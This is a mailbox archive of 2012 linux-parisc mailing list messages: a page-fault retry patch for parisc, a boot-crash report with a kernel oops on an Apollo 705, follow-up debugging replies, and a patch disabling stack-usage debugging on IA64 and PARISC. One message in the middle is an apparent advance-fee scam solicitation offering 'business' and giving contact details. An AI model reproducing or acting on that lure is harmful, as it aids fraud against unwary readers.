Path: news.gmane.org!not-for-mail
From: Kautuk Consul <consul.kautuk@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 17/19 v2] parisc/mm/fault.c: Port OOM changes to do_page_fault
Date: Tue, 12 Jun 2012 21:25:56 +0530
Lines: 104
Approved: news@gmane.org
Message-ID: <CAFPAmTQCRzKDTSTC+sHu4vPUgNYN70XqY4BzgPA_=jxJ4EOVLQ@mail.gmail.com>
References: <1333195588-5490-1-git-send-email-consul.kautuk@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1339516562 726 80.91.229.3 (12 Jun 2012 15:56:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2012 15:56:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 12 17:56:01 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SeTRm-0005Rx-VZ
	for glpp-linux-parisc@plane.gmane.org; Tue, 12 Jun 2012 17:55:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752801Ab2FLPz7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 12 Jun 2012 11:55:59 -0400
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:56413 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752303Ab2FLPz6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 12 Jun 2012 11:55:58 -0400
Original-Received: by yenm10 with SMTP id m10so3536553yen.19
        for <linux-parisc@vger.kernel.org>; Tue, 12 Jun 2012 08:55:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        bh=xTtqzJ2h6rdOIGzBJNLRWPGqcdT2ZMaOsgdJdWRgcOo=;
        b=XorfYaVMI89TXQctBA3vnwWPA7oy9QdSsI+BAJM0XXdD9cU2sOTN4M/x2jKN13M4uk
         vasAL2y87XyCKclszpVxwpbeyKDubXUAaDjZsbcNjfe/qNDu3V+TxQhmj8Xqx4a7FVfF
         AzGKtic8Qg3QPnR3KcSikJOjgoaLqkBn5kP3RN3/TwdPmWW5kCuacthA5ZJnd2LC5SCg
         ZnXltEPnTQfxI+frgGXxjpSh8kPQtkVDzghO9hqVAIgj4UW8lRNF8YVVwmNkLFL2Wc5w
         K9ylvgtde8g3mXlynGMtxOxRJYfyCIJiOjh2N46Rpi/R39VCR0cOLmtzVzA2JKT4S5ge
         UcMg==
Original-Received: by 10.101.165.37 with SMTP id s37mr8555475ano.71.1339516556611; Tue,
 12 Jun 2012 08:55:56 -0700 (PDT)
Original-Received: by 10.146.222.33 with HTTP; Tue, 12 Jun 2012 08:55:56 -0700 (PDT)
In-Reply-To: <1333195588-5490-1-git-send-email-consul.kautuk@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4490>

Hi,

Can you please review this patch ?

Many archs have actually accepted this change so I think maybe this is =
okay. :)

Thanks,
Kautuk.

On Sat, Mar 31, 2012 at 5:36 PM, Kautuk Consul <consul.kautuk@gmail.com=
> wrote:
> Commit d065bd810b6deb67d4897a14bfe21f8eb526ba99
> (mm: retry page fault when blocking on disk transfer) and
> commit 37b23e0525d393d48a7d59f870b3bc061a30ccdb
> (x86,mm: make pagefault killable)
>
> The above commits introduced changes into the x86 pagefault handler
> for making the page fault handler retryable as well as killable.
>
> These changes reduce the mmap_sem hold time, which is crucial
> during OOM killer invocation.
>
> Signed-off-by: Kautuk Consul <consul.kautuk@gmail.com>
> ---
> =A0arch/parisc/mm/fault.c | =A0 29 ++++++++++++++++++++++++-----
> =A01 files changed, 24 insertions(+), 5 deletions(-)
>
> diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
> index 18162ce..bd66ed6 100644
> --- a/arch/parisc/mm/fault.c
> +++ b/arch/parisc/mm/fault.c
> @@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsign=
ed long code,
> =A0 =A0 =A0 =A0struct mm_struct *mm =3D tsk->mm;
> =A0 =A0 =A0 =A0unsigned long acc_type;
> =A0 =A0 =A0 =A0int fault;
> + =A0 =A0 =A0 unsigned int flags =3D FAULT_FLAG_ALLOW_RETRY | FAULT_F=
LAG_KILLABLE;
>
> =A0 =A0 =A0 =A0if (in_atomic() || !mm)
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0goto no_context;
>
> +retry:
> =A0 =A0 =A0 =A0down_read(&mm->mmap_sem);
> =A0 =A0 =A0 =A0vma =3D find_vma_prev(mm, address, &prev_vma);
> =A0 =A0 =A0 =A0if (!vma || address < vma->vm_start)
> @@ -201,7 +203,12 @@ good_area:
> =A0 =A0 =A0 =A0 * fault.
> =A0 =A0 =A0 =A0 */
>
> - =A0 =A0 =A0 fault =3D handle_mm_fault(mm, vma, address, (acc_type &=
 VM_WRITE) ? FAULT_FLAG_WRITE : 0);
> + =A0 =A0 =A0 fault =3D handle_mm_fault(mm, vma, address,
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 flags | ((acc_type & VM=
_WRITE) ? FAULT_FLAG_WRITE : 0));
> +
> + =A0 =A0 =A0 if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(cu=
rrent))
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 return;
> +
> =A0 =A0 =A0 =A0if (unlikely(fault & VM_FAULT_ERROR)) {
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/*
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 * We hit a shared mapping outside of =
the file, or some
> @@ -214,10 +221,22 @@ good_area:
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0goto bad_area;
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0BUG();
> =A0 =A0 =A0 =A0}
> - =A0 =A0 =A0 if (fault & VM_FAULT_MAJOR)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 current->maj_flt++;
> - =A0 =A0 =A0 else
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 current->min_flt++;
> + =A0 =A0 =A0 if (flags & FAULT_FLAG_ALLOW_RETRY) {
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (fault & VM_FAULT_MAJOR)
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 current->maj_flt++;
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 else
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 current->min_flt++;
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (fault & VM_FAULT_RETRY) {
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 flags &=3D ~FAULT_FLAG_=
ALLOW_RETRY;
> +
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/* No need to up_rea=
d(&mm->mmap_sem) as we would
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0* have already relea=
sed it in __lock_page_or_retry
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0* in mm/filemap.c.
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0*/
> +
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto retry;
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 }
> + =A0 =A0 =A0 }
> =A0 =A0 =A0 =A0up_read(&mm->mmap_sem);
> =A0 =A0 =A0 =A0return;
>
> --
> 1.7.5.4
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.4.1 fails to boot on Apollo 705 in paging_init
Date: Wed, 13 Jun 2012 23:13:42 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <4FD90286.5040301@gmx.de>
References: <e69c1188b0a31ea587fa1faaeb72c712.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1339622030 28697 80.91.229.3 (13 Jun 2012 21:13:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 13 Jun 2012 21:13:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 13 23:13:48 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Seuss-0005VW-Ez
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jun 2012 23:13:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752648Ab2FMVNq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jun 2012 17:13:46 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:55098 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1752231Ab2FMVNp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jun 2012 17:13:45 -0400
Original-Received: (qmail invoked by alias); 13 Jun 2012 21:13:43 -0000
Original-Received: from p54AD0584.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.5.132]
  by mail.gmx.net (mp039) with SMTP; 13 Jun 2012 23:13:43 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX185RVsZUhU5NcEBbn9Bu8niBUsvj/o/sXpsocQ7H0
	1MLFjgiE5SYqfJ
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <e69c1188b0a31ea587fa1faaeb72c712.squirrel@webmail.sf-mail.de>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4491
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4491>

Hi Rolf,

Did the machine worked with the old debian kernels?

According to http://hwdb.parisc-linux.org/view.php?type=machine&name=705 
it has a PA7000 (PCX-S)) CPU, which is PA1.1a generation.
Probably we still use some assembly which is not supported on PA1.1a yet.
My "oldest" testmachine was a 715/64 which is PA7100LC aka PA 1.1d 
generation...

I can try to look into this, but this will take some time since I'll 
leave for two-week vacation shortly...

Helge

On 06/06/2012 02:55 PM, Rolf Eike Beer wrote:
> Linux version 3.4.1 (root@voyager) (gcc version 4.5.3 (Gentoo 4.5.3-r2
> p1.5, pie-0.4.7) ) #1 Wed Jun 6 14:15:43 CEST 2012
> unwind_init: start = 0x1044e000, end = 0x1047faf0, entries = 12719
> FP[0] enabled: Rev 3 Model 0
> The 32-bit Kernel has started...
> bootconsole [ttyB0] enabled
> Initialized PDC Console for debugging.
> Determining PDC firmware type: Snake.
> model 00003020 00000481 00000000 00000000 77aac223 ffffffff 00000004
> 0000000d 00000000
> vers  00000003
> model 9000/705
> Total Memory: 64 MB
>        _______________________________
>       <  Your System ate a SPARC! Gah!>
>        -------------------------------
>               \   ^__^
>                   (__)\       )\/\
>                    U  ||----w |
>                       ||     ||
> swapper (pid 0): Protection id trap (code 7)
>
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001110 Not tainted
> r00-03  0004000e 0004000e 1050104c 00000000
> r04-07  00000001 104841cc 1048e000 104917b8
> r08-11  104917d4 1048e024 00000000 00100000
> r12-15  00004000 00000000 00537fff 104b58c8
> r16-19  104ec800 00004000 1048e000 0000000e
> r20-23  00000000 00000000 00000000 00000000
> r24-27  00000001 00000000 00000000 1048e000
> r28-31  00000000 00000000 10484280 00000000
> sr00-03  00000000 00000000 00000000 00000000
> sr04-07  00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 1010077c 10100780
>   IIR: e840c000    ISR: 00000000  IOR: 1050104c
>   CPU:        0   CR30: 10484000 CR31: 000000e0
>   ORIG_R28: 00000000
>   IAOQ[0]: .L21+0x0/0x8
>   IAOQ[1]: .L21+0x4/0x8
>   RP(r2): paging_init+0x788/0x824
> Backtrace:
>   [<1050104c>] paging_init+0x788/0x824
>   [<10501688>] setup_arch+0x5c/0x88
>   [<104fd8d0>] start_kernel+0x80/0x370
>   [<1010f218>] start_parisc+0x4c/0x68
>
> Backtrace:
>   [<1010f940>] die_if_kernel+0x138/0x1b0
>   [<10110094>] handle_interruption+0x46c/0x614
>   [<10104078>] intr_check_sig+0x0/0x34
>   [<10100780>] .L21+0x4/0x8
>
> ---[ end trace 139ce121c98e96c9 ]---
>        _______________________________
>       <  Your System ate a SPARC! Gah!>
>        -------------------------------
>               \   ^__^
>                   (__)\       )\/\
>                    U  ||----w |
>                       ||     ||
> swapper (pid 0): Protection id trap (code 7)
> die_if_kernel() recursion detected.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.4.1 fails to boot on Apollo 705 in paging_init
Date: Wed, 13 Jun 2012 23:27:53 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <e97c79d800b0513ab9a624af328407a7.squirrel@webmail.sf-mail.de>
References: <e69c1188b0a31ea587fa1faaeb72c712.squirrel@webmail.sf-mail.de>
    <4FD90286.5040301@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1339622880 3228 80.91.229.3 (13 Jun 2012 21:28:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 13 Jun 2012 21:28:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 13 23:27:59 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Sev6a-0002ur-Vx
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jun 2012 23:27:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750910Ab2FMV14 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jun 2012 17:27:56 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:37177 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750732Ab2FMV14 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jun 2012 17:27:56 -0400
Original-Received: (qmail 24919 invoked by uid 81); 13 Jun 2012 21:27:53 -0000
Original-Received: from 82.83.173.160
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Wed, 13 Jun 2012 23:27:53 +0200
In-Reply-To: <4FD90286.5040301@gmx.de>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4492
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4492>

Helge Deller wrote:

> Did the machine worked with the old debian kernels?

I have no idea, I'm running Gentoo. Current system is this:

Linux apollo 2.6.38.8 #2 Wed Feb 15 17:42:42 CET 2012 parisc PA7000
(PCX-S) 9000/705 GNU/Linux

> According to http://hwdb.parisc-linux.org/view.php?type=machine&name=705
> it has a PA7000 (PCX-S)) CPU, which is PA1.1a generation.
> Probably we still use some assembly which is not supported on PA1.1a yet.
> My "oldest" testmachine was a 715/64 which is PA7100LC aka PA 1.1d
> generation...
>
> I can try to look into this, but this will take some time since I'll
> leave for two-week vacation shortly...

I've reported the breakage in 2.6.39 in the cache code here a while ago
(that's the stuff that recently got some work), afterwards I found no
kernel that was working.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 3.4.1 fails to boot on Apollo 705 in paging_init
Date: Wed, 13 Jun 2012 21:58:42 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU0-SMTP6A0A2E2D8F8915621C6E297F40@phx.gbl>
References: <e69c1188b0a31ea587fa1faaeb72c712.squirrel@webmail.sf-mail.de> <4FD90286.5040301@gmx.de> <e97c79d800b0513ab9a624af328407a7.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1339639150 12063 80.91.229.3 (14 Jun 2012 01:59:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 14 Jun 2012 01:59:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 14 03:59:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SezKv-0003Ys-AX
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Jun 2012 03:59:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754842Ab2FNB7B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jun 2012 21:59:01 -0400
Original-Received: from blu0-omc3-s13.blu0.hotmail.com ([65.55.116.88]:39546 "EHLO
	blu0-omc3-s13.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752963Ab2FNB7A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jun 2012 21:59:00 -0400
Original-Received: from BLU0-SMTP6 ([65.55.116.74]) by blu0-omc3-s13.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 13 Jun 2012 18:59:00 -0700
X-Originating-IP: [69.158.129.246]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.246]) by BLU0-SMTP6.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 13 Jun 2012 18:58:59 -0700
In-Reply-To: <e97c79d800b0513ab9a624af328407a7.squirrel@webmail.sf-mail.de>
X-Priority: 3 (Normal)
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 Jun 2012 01:58:59.0163 (UTC) FILETIME=[436A12B0:01CD49D1]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4493>

On 13-Jun-12, at 5:27 PM, Rolf Eike Beer wrote:

> I've reported the breakage in 2.6.39 in the cache code here a while  
> ago
> (that's the stuff that recently got some work), afterwards I found no
> kernel that was working.


Can you make sure that the latest set of cache fixes are present?  I'm
fairly certain they are all in 3.4.2.

If that doesn't resolve the crash, could you disassemble the code around
the failing instruction and submit to list?  Also, Helge might be able  
to test
your config.

I'm a bit skeptical that this is caused by unsupported assembly  
introduced
after 2.6.39.  If James' original tmpalias patch plus the recent fixes  
works
on top of 2.6.39, then a regression hunt may be in order.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Hon. Kwesi Ahwoi" <ahwoikwesi11@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Waiting to hear from you
Date: Fri, 15 Jun 2012 07:34:39 +0530
Lines: 22
Approved: news@gmane.org
Message-ID: <ac31da55475b40bc366c4a8e9d39ba69.squirrel@mail.tce.edu>
Reply-To: ahwoi.kwesi@yahoo.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1339728277 20583 80.91.229.3 (15 Jun 2012 02:44:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Jun 2012 02:44:37 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 15 04:44:36 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SfMWa-0001Dc-2i
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Jun 2012 04:44:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754149Ab2FOCog (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Jun 2012 22:44:36 -0400
Original-Received: from mail.tce.edu ([210.212.252.72]:58999 "EHLO tce.edu"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1754021Ab2FOCog (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Jun 2012 22:44:36 -0400
Original-Received: from [127.0.0.1] (helo=mail.tce.edu)
	by tce.edu with esmtp (Exim 4.72)
	(envelope-from <ahwoikwesi11@gmail.com>)
	id 1SfLtv-00046A-Us; Fri, 15 Jun 2012 07:34:40 +0530
Original-Received: from 82.128.1.31
        (SquirrelMail authenticated user gnirmala)
        by mail.tce.edu with HTTP;
        Fri, 15 Jun 2012 07:34:39 +0530
User-Agent: SquirrelMail/1.4.19
X-Priority: 3 (Normal)
Importance: Normal
X-XheaderVersion: 1.1
X-UserAgent: 
X-Spam-Score: 3.6 (+++)
X-Spam-Status: No
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4494
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4494>




I have a business for you to handle with me. Should you be interested,
Kindly contact me via (ahwoi.kwesi@yahoo.com) for more details.


Thanks
Hon. Kwesi Ahwoi
+233543146547


-----------------------------------------
This email was sent using TCEMail Service.
Thiagarajar College of Engineering
Madurai-625 015, India

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tony Luck <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: [PATCH] debug: Do not permit CONFIG_DEBUG_STACK_USAGE=y on IA64 or PARISC
Date: Wed, 18 Jul 2012 10:35:05 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <4a613b26cc402fb3ed8130cd07a37e76f4c133ef.1342634029.git.tony.luck@intel.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1342634304 9543 80.91.229.3 (18 Jul 2012 17:58:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2012 17:58:24 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org, Fengguang Wu <fengguang.wu@intel.com>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 18 19:58:23 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SrYVy-00048K-Qv
	for glpp-linux-parisc@plane.gmane.org; Wed, 18 Jul 2012 19:58:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753451Ab2GRR6V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Jul 2012 13:58:21 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:6688 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751530Ab2GRR6V (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Jul 2012 13:58:21 -0400
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga101.jf.intel.com with ESMTP; 18 Jul 2012 10:58:20 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.67,351,1309762800"; 
   d="scan'208";a="173819843"
Original-Received: from agluck-desk.sc.intel.com (HELO agluck-desktop.sc.intel.com) ([10.3.52.68])
  by orsmga002.jf.intel.com with SMTP; 18 Jul 2012 10:58:20 -0700
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4498 gmane.linux.kernel:1329868 gmane.linux.ports.ia64:22331
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4498>

The stack_not_used() function in <linux/sched.h> assumes that stacks
grow downwards. This is not true on IA64 or PARISC, so this function
would walk off in the wrong direction and into the weeds.

Found on IA64 because of a compilation failure with recursive dependencies
on IA64_TASKSIZE and IA64_THREAD_INFO_SIZE.

Fixing the code is possible, but should be combined with other
infrastructure additions to set up the "canary" at the end of the stack.

Reported-by: Fengguang Wu <fengguang.wu@intel.com> (failed allmodconfig build)
Signed-off-by: Tony Luck <tony.luck@intel.com>
---
